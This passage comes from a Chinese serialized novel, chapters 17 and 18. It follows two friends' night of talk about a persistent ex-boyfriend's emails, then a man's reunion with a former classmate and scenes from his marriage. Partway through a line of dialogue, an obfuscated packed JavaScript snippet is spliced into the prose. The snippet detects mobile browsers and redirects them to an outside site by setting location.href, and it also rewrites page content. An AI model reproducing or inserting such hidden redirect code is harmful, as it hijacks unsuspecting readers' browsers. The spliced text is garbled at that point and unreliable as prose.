郑予第一次见赵秋是一个雨天,他从花市买了绿色小雏菊回去的路上,看到前面有个女孩欢快地哼着《吹草哨儿》,她走着像要跳跃一样,橘粉色长裙边都打湿了,脚上的白球鞋怕是被泥水浸透了,风那么大,把她的碎花伞吹翻,她双手拉伞时,手里的塑料袋子掉了,她那盆黑法师多肉折断了,奶油小方蛋糕也散了。女孩捡起东西收好,把伞翻正过来,在他准备上前帮忙时,继续哼着欢快的歌跑进了雨里。她像黑法师一样自由,多好啊! 17. 未接来电 晚上石唯说还想出去吃,赵秋笑话她,还是陪她一起去了状元桥那边。那是上次两人一起吃小馄饨那条满是枫杨树街道,晚上有很多摆摊的小车。两人在一家整洁的粉色三轮小车摊子上买了热卤,拿好后在自己停在路边的电动车后备箱上搁着吃。 赵秋吃了串海带,刚准备把碗里的牛肉丸夹给石唯,马上反应过来:“唉哟,差点搞错了……”她收回筷子,把牛肉丸子放回碗里,重新夹了个鸡爪放到石唯碗里。 “我现在胃口特别好,其实也不饿,就是每天晚上都觉得自己该再吃点什么!晚上总睡不着,有一点舍不得一天过去的样子,想到就要这样睡过去,总要问自己:这一天就这样过了吗?”石唯认真地吃着竹笋。 赵秋停下,看了眼石唯:“你这样我好像也能理解,你看我也不饿,陪着你吃我也能吃不少!晚上不想睡,都有这种时候吧,我越焦虑越舍不得睡,想越多就越睡不着。” “你今天要不要去我那边过夜?明天我们去我家桥那边的菜场过早,然后去泵站那边公园逛一下?”石唯试探性地问赵秋。 赵秋了然于心地笑笑:“把两份杨梅都带上,明天晚点我陪你一起去你爸妈那边。” 到了渡口村的房子,石唯在换后面房间的床单,从柜子里拿夏凉被出来;赵秋在石唯的工作台翻书,桌上有冰镇的酸梅汤和一盘红紫色的新鲜李子。 “小唯,这边还有好多儿童绘本?”赵秋拿着薄薄的一本《玛格丽特的喷泉》翻看。 “嗯,给初中同学小兰的宝宝挑了一些,我们高中毕业在这边你见过她的。上次她知道我在家里工作,专门带着女儿来看我了。下个月她娃儿生日,我到时候送过去。”石唯铺好床单,把荞麦枕芯往汉麻枕套里塞。 赵秋听石唯说着,记起来那个自信有活力的女孩——原来她的娃都是能看绘本的年纪了啊!上一次来渡口村这边和石唯一起过夜,是十几年前高中毕业的时候,高考完很放松,不是你来我家一起看小说,就是我去你家一起看电视剧。明明那么远了,又像在昨天一样近。 后院虫鸣声声,有风吹杉树的声响,却是静美的夜晚。 两人各睡一头,聊着闲话,很轻松。赵秋问:“小唯,你一个人住村子里有害怕的时候吗?这边静倒是很静,远离一些麻烦事还行。” 石唯笑道:“我从小住习惯了,反而很安心。村子里每个电线杆都有摄像头,治安比二三十年前好太多了。平时就注意锁好车,检查下门窗。安静是这边的最大优点,不过也有邻居和村里人说我闲话。之前白天上班也不怎么见得到人,我也不和他们来往,不听那些声音就好。你听外面都是竹蛉的叫声,每天有这些声音入夜陪着我,我觉得蛮好的。” “听着这些虫子叫,倒不觉得吵。我十岁前家里还没搬到城区,夏天乡下老停电,那时候晚上家家户户把竹床搬出去睡。摇着蒲扇,等自然风出来,夏天夜里星星多,点着蚊香,躺竹床上好惬意!讲究点的人家还会支个蚊帐。”赵秋闭眼回忆,细声说着。 “你那会进来看到屋里天井盖了棚子吧?不想着雨水流到天井里,去年才盖了这个亚克力板,上面不是还有塑料薄膜嘛,特别有意思——最近白天我发现很多小鸟在上面蹦蹦跳跳闹出声响。我想不通,跑楼上露台去看,你猜怎么回事?这些小鸟啄那些薄膜走,肥胖的黑喜鹊最多。白天这些小鸟还是叽叽喳喳不停,都夏天了,难不成还在求偶要搭房子?” 赵秋听后翻身侧到一边笑起来:“那我明天早上要看看。” “你放心,你会被它们的蹦跳声吵醒。对了,你说到害怕,我给你讲个事情,想起来也是好笑。我有时睡不着,很晚了,窗子那边总有声音,我怕是老鼠,马上爬起来去拉开窗帘,隔着纱窗看,也没看到什么。白天有小鸟在窗外雨棚上跳,我也怀疑过是小鸟。结果有一天半夜睡不着又听见动静,干脆不睡了,蹑手蹑脚走过去,悄悄拉开帘子,打着手电瞧,这下见到庐山真面目了。” “啥东西?” “天牛!” 两人都笑起来,总是些意料之外的东西,就像很多事也都是意料之外的结局。 石唯的手机亮了起来,响了一下,是邮件提醒。她看了眼,伸手出蚊帐,把手机丢床边写字台上,顺手摸过空调遥控器,问道:“秋,空调要再调低点吗?遥控器给你,你要是想调,随意调节哦。” 赵秋接过空调遥控器:“好的。是谁发邮件你了吗?可别是那条‘锦鲤’!别说你,我都有阴影了。” “不是他,这么多年了。不过我的确很怕邮件提醒。以前刚毕业找工作,投了简历总想收到邮件,是又期待又害怕;但是收到故人邮件完全没有期待和惊吓,只让人无奈和厌倦。不知道为什么总碰到喜欢发我长邮件的人!”石唯直直地躺着。 赵秋右手肘撑着小半身体突然起来:“么呀?婷婷的舅舅也一直发邮件给你?怎么都是这种晦气男的!把人当树洞了吗?是看人下菜挑脾气好的人发吧?都是些什么人啊!这些神经病要是再发邮件过来,转发给他们全家!真是欺负人!” 石唯高中时,喜欢楼下班级的一个男孩子,那时候加了联系方式,在对方生日时会发祝福卡片邮件给对方。赵秋每次和石唯走在一起,发现她突然开始前言不搭后语、不知道在避些什么地看着自己说着囫囵话,就知道那男孩肯定是从对面路过,走向她们这边了。每当这时,赵秋就很无语,等那人走过了,会小声吐槽石唯:“你是不是有毛病,人家根本就不熟识,也不在意你,你搞得像要避难一样。再说,那个人有什么特别吗?他就是一群人里顶普通的一个嘛!”石唯总是不好意思地回赵秋:“我也不晓得为什么,就是想多看他几眼,你要问我原因,我真不晓得!”赵秋很无奈:“你怕是被下了降头吧!” 那时候两人在晚自习时一起看了泰国电影《初恋这件小事》。赵秋去小卖部买炒冰,要老板多加点山楂片,回教室的路上,她从楼下教室窗子往里看,那个男孩很安静地在座位翻书。回到教室递了碗炒冰给石唯,赵秋脑子里不是碧武里清新绿意的夏日暗恋画面,而是硫磺色港式老片恐怖剧情形——想着“小唯真是被下降头了吗?她喜欢他什么呢?喜欢他安静还是皮肤白?也许是我们这个年纪需要梦幻?用发梦来造剧,可以充实无聊压抑的无边课业酷刑?”想到自己无端揣测很不礼貌,只能叹口气看着认真吃冰的石唯,自己也吃起手里的炒冰,山楂片搭冰还真适合夏天。石唯觉得自己很幸运,那个男孩让她有了喜欢一个人的心情,这样的暗恋很美好。赵秋打趣道:“好吧,幸运?他是一条锦鲤吗?” 赵秋有时会想,是不是先有了一个结尾,才会有那个开始,但转念又觉得这样就变成了宿命论,这很荒谬。石唯在高中毕业后和那个男孩有一段短暂恋爱,她对赵秋说,男孩提出恋爱的理由是“你不是一直都喜欢我吗?”。石唯总感觉哪里不对,可是喜欢的男孩对自己说要不要交往,那好像也没有能让她坚定拒绝的理由。 为了不被父母发现,两人约会是坐环城公交,一圈又一圈,反复投币反复坐,在后排也不说话,只是紧握着手,大夏天手心都是汗。念书时的假期,石唯和赵秋会去公园坐天鹅船,老公园环境优美,湖面幽绿,让人放松。一直坐环城公交的小情侣太无聊,石唯拉着男孩去公园,可是那天没有天鹅船了,只剩下小黄鸭脚踏船。两人费力踩着踏板,湖面多是一家几口人泛舟,石唯的脑内小剧场丰富起来,有着浪漫幻想。这时,岸边几位年纪大的阿姨大声朝他们喊起来:“那两个小同学,能不能帮我们把你们船旁边的鱼扒过来啊?”那是一条白鲢鱼,夏天太热,会有鱼缺氧跳出水面,就浮着了……那天费了好大劲才把那条翻肚鱼扒拉到岸边,阿姨们欢天喜地够着身子抓住鱼,笑着对小情侣道谢。真是让人没法忘记的约会,热心市民的“浪漫”约会。 赵秋想起石唯讲的“浪漫”约会还是会笑出来,那时候她笑话石唯:“唉哟,浪漫哦,‘锦鲤’变‘白鲢’咯!”虽说着这话,想的却是石唯觉得开心就好——毕竟她看上去状态蛮好的,像活泼生动的少年,像她平时在江滩骑自行车喊着要自己和她一起冲下坡的欢快样子。 石唯的恋爱持续了几个月,就像那不知为何的喜欢,不知为何的结束也是那么快。仿佛风会卷走记忆,很多事情和细节已记不清楚,石唯也说不明白怎么就分开了,也说不明白那一瞬间剧场舞台坍塌的感觉——排着戏快乐地演出,却发现和对方演的一出剧都是按各自的理解来表达,互相完全不理解! 那段时间,石唯很厌恶一切,本不和谐的家庭关系变得更紧张。母亲总试图对她表达友好和关心,并督促她顾好学业,她对母亲的亲近感到恐惧,就像被电流击穿每一根手指般刺痛恶心。一个前十八年什么都做不了主的人,行尸走肉般的人,念着不是自己填的专业的人,发现自己好像根本没法进入一段亲密关系,于是她又一次选择了逃避。焦虑的情绪让她不知所措,沉默可以应对大多数复杂的情况,睁着眼整夜睡不着,眼泪变得滑稽。 分手后,石唯每年都会收到“锦鲤”的长邮件,持续多年。最初邮件内容有对她的不解和控诉,后来有对自己生活的烦恼倾诉,之后好像什么都会说。最初几年石唯会耐心回信,并表达对那段无疾而终恋情的抱歉;后来她只是真心希望“锦鲤”能过得开心——不然怎么会有人在经历了好几段恋爱后,每当愤懑和痛苦时,还会发邮件给十七岁时的女友?石唯不再回复每年会不定时收到的长邮件,她自己都是艰难对抗情绪,很勉强地毕业,麻木地工作,假装微笑地面对家人,定期的心理咨询并没有多大作用,她换了两个咨询师后停止了咨询。让她发笑了很久的是:知道她情绪不好的同事,问她要不要去学佛或信教。她晚上加完班骑共享单车回住处的路上,真的像要结束一切,大卡车的急鸣声把她拉回了现实——就这样生活着吧。后来共享单车的押金一直没退出来。在这样的晚上,又收到“锦鲤”邮件,她只有愤怒,不再点开,直接删除。 窗外虫鸣声仿佛更大了,赵秋躺下翻了翻身,还是问了:“小唯,‘锦鲤’这几年没发邮件你了吧?” “前年发了最后一封,终于不是几百几千字了,不然我觉得我在审稿校对。我那天发烧,清晨摁掉了好几个外地的电话,醒来看号码觉得熟悉。看有邮箱提醒就打开了,他发了很短的一段话,写了高中时的一件事——其实我对那件事没有印象了,他还表达了对我的抱歉。让我不解的是,他的抱歉是那种觉得没有和我到一起,觉得我不幸福,他很愧疚。我惊得不知道该有什么想法,一瞬间想起你当年说我被‘下降头’了!我还真不知道原来我的幸福自己没资格评定!他应该是状态比较好了吧,谢天谢地,我真心希望他健康快乐,过得好就不会想起我这种边边角角不值得记起的人,这样才是‘你好我好大家好’!”石唯自嘲着。 “这个死‘白鲢’!什么乱七八糟的。”赵秋不知道说什么好,她翻身时荞麦枕头沙沙响。 “秋,你记不记得我们在你家看《魔女嘉莉》的电影?那年我状态不好待家里休养,你最反感迷信的,结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988385|193651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果去树奇姐那边抱了一堆命理占星书回去翻,说我是本命年加上八字本身辰戌冲,要替我缓解。我以为你要做啥,你说一起看1976年的电影主动应辰戌冲。我真的都被你逗笑了,你们‘半路出家’的‘仙人’,逻辑太疯癫,难怪现在网上命理圈子那么乱。我后来想明白了——1976年是龙年,原来你是这么个意思。这逻辑是想乱拳打死老师父呢?” “怎么突然说起这事?我那时候也不知道怎么帮你,想着也许你比较相信命运什么的,人总要有希望嘛!虽然我比较相信自由意志。我还记得电影里嘉莉的老师在卫生间洗手台安慰她的时候,眼睛看着的却是镜子里自己的脸。” “对,我对这一幕也有印象。后来我收到他最后一封邮件时,想到了这部电影里的这一幕。他喜欢的是镜子里的自己,我是什么人、有什么想法不重要,重要的是他想做什么。他发过来看似真诚的文字,不是因为他想被我看到或理解,是他想写这些、发这些。要怎么形容那种厌恶?我恶毒地怀疑,也许某个独处时刻,他翻出自己发出的一封封邮件,欣赏着自己的‘真诚’,然后闪出一丝‘写得真好’的念头,电脑屏幕映着他充满‘才华’的影子。我是谁是最不重要的事情,这种所谓爱情就是以他为中心的一种角色扮演,主角是他,配角是谁不重要,只要配角是围绕他这颗小星球转动。爱是什么?是这出剧以他为核心,因为道具是可替代的。为什么你被选为道具呢?和你没关系,对他来讲是方便省事。” 赵秋不再说话,这一刻,她好像能明白石唯的情绪。明明是一个对镜欣赏自己皮相、假装能看到灵魂的人,对同在镜子里的人诉说着自以为的衷情,反复确认对方有没有听到他说的话。可是,他真的在意对方听不听他说吗?他好像只要确认自己一直是在说,他就是想说。这种浓烈的排他属性,这会是爱? 石唯觉得邮件里的“爱”很讽刺,“锦鲤”去爱一个板凳比较好,毕竟她这根“木头”可是胆敢有想法的活物。不会说出来的话是:“不理解吗?那就当我是可恶的要被天打雷劈、由正神诛灭的成精朽木好了,你最好远离这种晦气。为什么还要发邮件给我呢?你不用写给我,你诚实地问自己就行,简单点、不带文字修饰地问自己。也许你能对自己诚实,那我一开始就不会断断续续收到这些邮件。”执念是找不到路的冤魂,能清除、安然送走这些的不是各路道长和师父,是事主本人。麦芽管子糖是空心的,有旁人诉说着它有实心的甜蜜。没有,空心就是空心。 赵秋把枕头搬到石唯那头,拍了拍她:“睡吧!”虫鸣不停,这是一个让人头发晕的旋转的夜晚。 清晨的阳光在窗帘上切出一块边缘是波浪纹的大方块,窗帘顶部的褶皱边透出一些光进来,铁艺防盗窗的影子映在明亮的波浪方块里,像有一个个小船锚在跳动,窗外一定有风,杉树的影子在窗帘上晃动。天井里传来小鸟们在亚克力遮雨棚上跳脚的声音,赵秋打算起床去看小鸟啄塑料薄膜的样子,石唯已经洗漱完毕。 桥那边的菜场好热闹,摆着新鲜蔬菜的摊子,推着一方方豆腐的三轮车,过早的人群挤挤攘攘。 水浸包子在锅里滋滋滋响着,赵秋找老板要了一个,一口咬下去皮酥酥的,白萝卜丁的馅儿微微辣,少少的汁水让包子润润的。石唯给赵秋端了鳝鱼粉过来,自己吃的是凉面,两人在路边椅子上吃着,看着来来往往的行人。 在泵站逛了一会儿,路边开满了蛇目菊,锦葵密密麻麻挨着,一节一节开着紫白色的小花。 “你看,这么早还有人在河里打鼓泅!看来天真是太热了。”赵秋指着河中间。 赵秋往河那边看了看,说道:“还真是呢!今年怎么就这么热?后院那棵西梅树还没带你去看,之前一直下雨,倒了一半,斜着长了,现在天热,看上去更没精神了。其实也不能叫西梅树了,我种了五年今年才挂果,最近才发现是李子!也不知道椭圆形的绿果子怎么就变成了紫红色的桃心形李子!去网上找商家,人家铺子早就关了。” 两人走上了拱桥,河边的那棵大喜树上满是果子,白色茸茸的花须脱落,露出刺剌剌的绿爪子。赵秋指着岸上别人开垦的荒地:“你看芋头叶子都要热化了,全耷着。我小时候学了‘接天莲叶无穷碧,映日荷花别样红’后,老想看荷花。有天骑自行车路过一块地,远远望着都是荷叶,那天太晚了没过去,后来一个星期都等着放假了再去看看。结果再去的时候,骑自行车近了发现,那是一大片芋头地——好大好大的芋头叶,好绿好绿的芋头叶!照理说我们这边藕池那么多,我偏偏惦记上的是‘赝品’。人都有看花眼、期待错的时候,往往事与愿违。” “是哦。西梅树也好,李子树也罢,现在终于能没有负担地年底锯掉这棵树了。之前嫌它在院子占地方,但总想等西梅结果,没舍得。” 太阳渐渐大了,两人打算回去,赵秋对石唯说:“玛格丽特本来就知道下水道有喷泉的开关,而且我觉得她一个人跳舞也没关系。这个故事如果对小朋友讲,我想也许可以补充一点。” 石唯顿了一下才反应过来赵秋讲的是绘本,回道:“嗯,我也是这样想的。玛格丽特自己就可以保护好她的喷泉,不需要被拯救。” 说着闲话,沿着绿道往回走的路上,像是回到了中学的暑假——那么远的日子又那般近的记忆:她们在赵秋家沙发上躺着,两个电风扇对着两人吱呀转个不停,小区隔壁老单位绿化好,知了叫个不停,而她们什么也不用想,没有明天和以后,只有安然的午睡时间,就像可以静止在那一刻。 18. 情事 梁挥和石唯重逢是在江堤下面那棵树。 那天石唯特别想吃老街附近的豆皮,骑电动车过去过早,想着来都来了,顺便去看看那棵树吧。之前冬天的一个晴朗日子,邻居发小肖伦带着她两岁的宝宝去江滩挖沙,约了石唯。返程时娃有了睡意,肖伦抱着孩子坐在电动车后座,石唯就沿着江堤一直骑,逛远一点——这样小孩可能很快会睡着。幸好走了平时不会走的路,石唯发现了左边江堤下一棵大樟树,冬天也还挺绿的;大樟树左前方那棵树好大好圆好漂亮!只有树枝没有叶儿,那是什么树呢?当时不好停下来去看,但是石唯就这样挂记着这棵树,总想着春天到了要去探个究竟。这次择日不如撞日,吃完早饭就骑车去了。快到的时候要下坡,前一天下过雨,地上有泥水坑,一不留神,泥浆旋转过前轮子,溅了石唯一裤腿,右脚袜子全湿了。石唯把电动车停到一边,蹲下来看自己的鞋,拉开身上的小包翻着。她感觉到树那边方向有人看她,余光见人向她走来,抬头看时,那人已经近身了。 梁挥给石唯递了包纸,试探性地问:“石唯吗?十八中读的初中,班主任是‘巴士’?” 石唯疑惑地“嗯”了一声,刚接过纸想说话,梁挥顿了下,又很果断地问:“记……还记得我吗?” “当然记得。俞老师——你姨妈身体还好吗?” 梁挥笑着回:“蛮好的,不常发脾气了,惬意地过退休生活。” 石唯低头拆开纸擦鞋和裤脚,说了声谢谢。两人沉默了几秒。 “你来看这棵树的吗?”梁挥问。 石唯起身把团起来的脏纸巾塞到电动车储物兜里:“嗯,这棵树的树型好,又大又漂亮,就过来瞄一眼,不晓得它是什么树。你呢,来这里做什么?” “我来钓鱼。这是棵杜梨树,之前我和朋友钓鱼路过这边,看到这树很喜欢。有次清明过来,见开花好漂亮。现在天气还有点冷,还没长叶子,四月开满花最好看——其实春夏秋冬都好看。”说起这树,梁挥不知怎地像匹刚放出来的小马驹一样快活起来。 梁挥的朋友喊他,他和石唯道别后就过去了,回头了两次朝石唯挥手。他朋友问他是不是认识那女的,是来做啥的,他回是老同学,说石唯专门来看树的。梁挥的朋友一直笑不停,揶揄他:“哟,原来看树的痴人不止一个呢,正巧真能凑一双了。要你去别处钓鱼总是推三推四,到这边回回不落,是为了这棵树啊!” 两周后的一个暴雨夜里,梁挥着急送人去医院,一路车开得飞快。石唯加班晚归路上,骑电动车小心翼翼,生怕路上水没深没浅的,结果被一辆路过的灰车溅了一身水。第二天,梁挥接到一通电话。他前一天真没注意自己开车过快是否妨碍到路旁行人,没想到对方追了他两条街记下了他车牌号,并于次日用了各种办法投诉。虽然他感到抱歉,但还是不禁感叹对方真是个执着的人。先是打电话给对方道歉,去了调解现场,梁挥态度很好,一直在道歉,主动提出赔偿两百给对方,石唯只要了五十元的大衣干洗费。他明显感觉到石唯一幅再也不想见到自己的样子,那种像看一个水泥墩子的冷漠;可是看到她手上还拿着那件像被水泥搅拌了的黑色大衣,梁挥忍耐着,嘴角抿住,低着头,尽量不然自己笑出来让人看到——这样可太讨人嫌了。这次事故让他有了石唯的电话,事后他打过一次,她听到是他后,就像水泥做的敦实的石狮子一样不作声。他还是讨人嫌了。是啊,鬼才相信自己没看到旁边的电动车呢,可是就是没注意嘛! 那段时间,伍义见梁挥状态难得不错,他觉得有点奇怪,不过蛮高兴梁挥状态好起来。 “你自从上次去交警队回来,怎么像欢喜的麻雀一样?每天不知道什么时候笑一下,笑么是好事,像你这样有点像傻瓜了。”伍义指着窗外转角的粮油店,那棵悬铃木下聚集着一群麻雀。 “我有吗?你现在这样子才是你说我的样子吧?”梁挥抬头回道。 伍义看着窗子玻璃上自己的脸,好像自己更欣喜些,最近新恋情进展正得意,梁挥能和自己比?他收起笑意道:“说你呢!你现在这样子哦,上次没扣分至于这么开心吗?你看过《猫和老鼠》吗?” “我像杰瑞一样得意?”梁挥放下搭在一边膝盖上的腿,伸了个懒腰,手撑了下桌子,人靠向椅背,顺着椅子滑到伍义那边。 伍义假装嫌弃地推开梁挥的椅背,说道:“《猫和老鼠》里‘城市乡巴鼠’那一集,杰瑞去曼哈顿后飞快逃回乡下小屋,撕掉给汤姆的信,抱着汤姆的脸狂亲。你最近暗自欢喜的样子,让我都担心你忍不住要抱着我的脸狂亲。不过你这状态让人看着蛮爽的,你可算开心了点,我还是很为你感到高兴的。你要真想亲我,我就委屈一下忍着点恶心吧!” 梁挥作势要跳起来打人:“你可一边去吧,赶紧消开(方言:消失走开),别挨着我!还《猫和老鼠》呢,你是最近谈恋爱太得意忘形了吧?我看每次都把恋爱谈成猫鼠游戏的您‘无义’,这次怎么收场。” 伍义把新项目的文件丢到梁挥桌上,躲着挡着大笑跳着出去:“不和你闹了,新案发你邮箱了,记得看啊!” 梁挥倒没觉得自己有什么好欢喜的,生活不是一团乱么?不过听伍义这么一讲,自己最近好像是比较放松,而且有一种小时候看电视剧到最精彩的时候切进了一条广告的感觉——既刺激又期待,千万不要广告之后是下集预告,拜托广告之后直接进入最终结局吧。 梁挥通过手机号也没有搜到石唯的社媒,周末到老钓点钓鱼,拍了各个角度的杜梨树的照片发信息给石唯,她也没回信。他想想也是,那件大衣都那样了,水怕不是溅起个两米把她浇透了。想到这里,梁挥愈发不好意思,又想到石唯怎么大晚上一个人骑车敢走工业园区的小路,想到石唯带着的大衣:“这家伙还是和以前一样较真。也不一样了,她以前喜欢穿浅色。幸好那天她穿的是黑大衣,不然要恨死我了!” 在复州一直住的是外公家老房子,梁挥半夜突然想起了什么,一下子从床上滑下来,跑去书房。他翻来覆去找,总算把初中的同学录和毕业照找了出来。塑封毕业照背后放了班级统一的打印纸,里面有全班同学的通讯地址和电话;同学录翻到石唯那一页,有她的邮箱,她的留言不多,内容是祝梁挥身体健康、开开心心之类。“天涯海角,祝你平安”——当时看上去让人发笑,他记得她当时给同学们都写了这句话,被大家笑好土来着的,现在自己笑着笑着,又觉得是很朴实的祝福。 因为一些事,石唯很久没看那个邮箱,常用的是另外两个。梁挥发邮件没回应,担心石唯不接自己电话,就试着拨了石唯在毕业照后的宅电,拨通了没人接。 没过几天,梁挥再一次去工业园区的伍义朋友的律所,谈完事情后几人一起到附近的韩餐店吃饭,他看到石唯和一位男士在不远处另一桌。她穿着浅珊瑚粉的塔克褶衬衫,手腕上是两根灰色皮筋头绳,正大口吃着米肠还有紫菜包饭。他往那边看时,同桌的伍义朋友何卫放下夹着葱饼的筷子,下巴抬了下对伍义示意方向,说道:“欸,我妈她公司老板也在哦。” “我妈在园区里的一家外贸公司做保洁,老板创业没太久,听她说老板待人不错。上次我过去接我妈,我妈老板刚开车走,那个女孩和摄影师在草坪那边拍样品、整理东西,她去仓库帮忙告知我妈我过来了。”何卫指了指石唯。 这顿饭梁挥吃得很开心,多是伍义和何卫在聊。还没吃完饭,他主动去石唯那桌打了招呼,石唯向陈齐介绍了梁挥,大家聊了几句后加了社媒账号。石唯这才知道梁挥上次是送胡阿姨儿子去医院才开车那么急,她在公司听过胡阿姨向同事们抱怨:儿子吃东西过敏导致急性肠胃痉挛——明明和店家后厨确认过不能加韭菜,结果那盘菜加了韭菜酱! 石唯的社媒可见内容从2014年开始,私人内容很少,多是她做的一些作品或者工作相关的内容——毛线、布料、展会、鲜花、仿真花……梁挥就这样无意地翻完了。石唯几年前还发过花园施工照片,这个梁挥可太熟了。 每到周六,梁挥会早起开车返夏口,先去父母家陪父母吃午饭、聊天,之后离开直奔超市,买好菜再去熟悉的花店挑些深色系的鲜切花,那就可以安心回自己家了。每周六他会给他太太杨锦姿做晚饭,做饭是很能让他快乐和满足的一件事。杨锦姿在私立学校教英语,就带一个班,也不是班主任,但她还是很忙:她周日在朋友办的补习机构代课一整天,以前工作日是不兼的,和梁挥异地了之后,工作日下班了也会去机构那边带晚上的补习班。 落日珊瑚芍药插在喷砂爱神小天使图纹的白色高脚花瓶里,花瓶是当初他俩户外婚礼甜品台那一块装饰用的,杨锦姿很喜欢,找策划师商量着买回来了。桌上的菜式可比杨锦姿平时吃的丰富多了,要是梁挥不在,她随便吃点速食就好。梁挥围裙还系着,站着舀了筒骨汤递给杨锦姿。 “好浓,好喝!”杨锦姿把调羹放到一边,双手捧着碗又喝了一口,心满意足地看着梁挥。接着,身子前倾,用食指侧横着划掉了梁挥上唇周的一圈小汗珠,“辛苦你了,专门用铫子煨汤。” “喜欢就多喝点,你平时吃饭真是殚精竭虑的敷衍,家里都是方便面啊意面,口味呢也还有几十种。”梁挥用筷子小心地把鲫鱼的刺挑出来,一小撮一小撮的细肉被拣到蘸料碟子里堆成迷你雪山,他把碟子推到杨锦姿汤碗边。 杨锦姿心情很好,夹了块排骨,刚到嘴里就吐出来:“你还真烧的是糖醋排骨?排骨和筒骨一起熬汤嘛。红烧的我还勉强吃一点,这酸甜口的我实在不喜欢。紫菜包饭看上去还不错,怎么突然做这个了?” 梁挥停下剥小龙虾的手,抬眼委屈地说:“下次一定注意,我烧糊涂了。紫菜包饭里面加了牛蒡,你吃吃看。”他把虾肉放到杨锦姿碗里,脱了一次性手套,开始夹葱饼吃。 “我们学校这学期来了批新老师,隔壁班那个女孩蛮好的,我们班主任带的那个哦,老喜欢找我问东问西,不过人么,态度是好的。隔壁班的班主任是我们的教研组长,特别喜欢问我私事,还说什么周末夫妻不出问题就有鬼了,也不想想自己和爱人前两年才结束异地。本来老的烦人,这还来了个小的,还好小的不问私事,只是工作上的事扰下我。”杨锦姿见梁挥没作声,给他夹了块藕,“这藕好粉糯,你吃呀。我喜欢吃藕,脆藕还好些,汤里粉藕的丝丝太讨厌,小时候真是边吃边烦,藕断丝连就像在吃头发。想到吃头发就恶心。” 梁挥笑起来:“你不说还好,一说我也觉得不对了。对了,上午我妈让我拿了些卤牛肉过来,你这几天煮面、冷吃都行。” “我想,要么你们把工作室搬回来?反正客户又不是都在那边,全国的都有,那不一定就一直到那边吧?”杨锦姿笑蔓延到后脑勺,着看着梁挥。 梁挥低着头喝了口汤:“嗯,是哪里的客户都有,这边也没有占比很多,没必要大变动。而且,也不是我一个人说得算,伍义和我目前都没有这打算。”他给杨锦姿夹了块葱饼。 杨锦姿眼皮很疲,再看了眼碗里:“嗯,行吧。你真是,这几次烧饭都有酸甜口的菜,还有,你晓得我从来不沾葱的。” 梁挥洗完碗回来,端着剥好的荔枝敲开书房的门进去,见杨锦姿躺在书架前面的灰色沙发上,盖了薄薄的紫绿拼布毯子。他坐在杨锦姿对面,视线投到她身后高高的书墙上,他们用大相框装裱的结婚照在上面,雕刻浮夸的金属边框凹凹凸凸的地方落满了灰。杨锦姿不喜欢结婚照挂在床上方,还是新婚时就让他把这大家伙搬书架顶上了。梁挥起身去窗边拉上深紫底的团花窗帘,漏进来的光打在奶油黄的墙面上,他用力把帘子拉紧一点。 “我没睡呢,窗帘别拉实了。好像犯鼻炎了,人不太舒服。” 拢回一半窗帘,把书桌上的果盘拿到沙发侧边矮桌上,梁挥去沙发对面时,杨锦姿侧身拉住他的衣角,他就坐下了。他捋着杨锦姿的头发:“我晚点把家里清洁再做一些,灰尘太多了,你容易过敏。落日珊瑚不喜欢吗?房里那瓶你也移到外面去了。” “吃完饭就想说了,这次怎么买了这个色?我还是喜欢深色。” “现在颜色蛮好的,也不太浅吧?” “你以为我不晓得?这品种越开越淡,最后就是那淡珊瑚色了。我以为你喜欢清新的白绿色,没想到什么没滋味的颜色你都喜欢,上次还买了那个桥边之约蔷薇回来。” 梁挥俯身抱住杨锦姿:“下周买紫色,你喜欢的深紫色桔梗。我订了些螃蟹,下周给你爸那边送一些。我想着给你妈他们也寄一些,你空了把地址发给我吧。”杨锦姿坐起身,靠在他身上望着他:“一直蛮有心嘛!这季节的螃蟹还不够肥吧,哪里订的?” 梁挥侧开头摇晃着身子回道:“那个何卫,就是伍义那律师朋友,帮我姐打官司的那人。他之前拿了提螃蟹礼盒过来给伍义,我吃着不错想买一些,他说是他妈妈公司发的几盒,老板家亲戚自己包的河塘养的。几个月前你打电话我的时候,我不是去交通队那边处理事情了嘛,是个小误会,一看对方是认识的老同学。我这朋友恰好就在何卫妈妈公司,和老板是老朋友,我就要他帮忙找老板问了。” “你蛮会想谋子的嘛!先替我妈谢谢你了!初中同学买个螃蟹还能再联系上,太巧了,你们还蛮有缘的。你妈说你初中转了七八所学校,我以为你就高中那班好兄弟呢,能再遇到初中的朋友蛮好的。” 梁挥把头靠过来,另一只手也搂紧杨锦姿:“嗯,是蛮好的。” “我爸去西北旅游了,可算清净了点,在家一联系我就是催我给他生孙子。这两天发消息我,他说寄了好些东西给你,有半只羊吧,还有羊鞭什么的。我真是嫌弃死了,这东西我可烧不来,到时候你每周回来自己给自己做好了。你要是不爱吃,我们就转卖给小区对面的烧烤店去。要是有小孩,我就催你把工作室搬回来了,现在我们的情况,你到那边也还好。其实……也蛮好的吧。”杨锦姿也靠着梁挥更紧了一点。 梁挥没说话,稍松开了些的手又象征性地搭紧,看着那紫釉釉的窗帘,他的脑袋发起昏来,只当窗帘上印着的血红泛着点点银色的石蒜花是一团团瘴气,前追后赶泼过来缠着他。 夜静了,窗外的月亮是挂不开帘幕的霜白钩子。卧室的冬季暗紫色厚丝绒窗帘一直没有换,八角花瓣灯罩下床头灯底座的陶瓷雄狮竟多了几分可爱,杨锦姿枕下的紫色佩里斯花纹借着浅淡灯光像雀跃的小鸟。她被一群紫色小鸟跳着闹着搭满的桥托起,卧室像行船才能艰难进入的无光溶洞。她几天前做过指甲,贴在指甲上的紫色蝴蝶钻饰钩缠住了梁挥的头发,他并不挣开,顺着暗河游去,她现在有钟乳石化成一滩水漾开的心力。 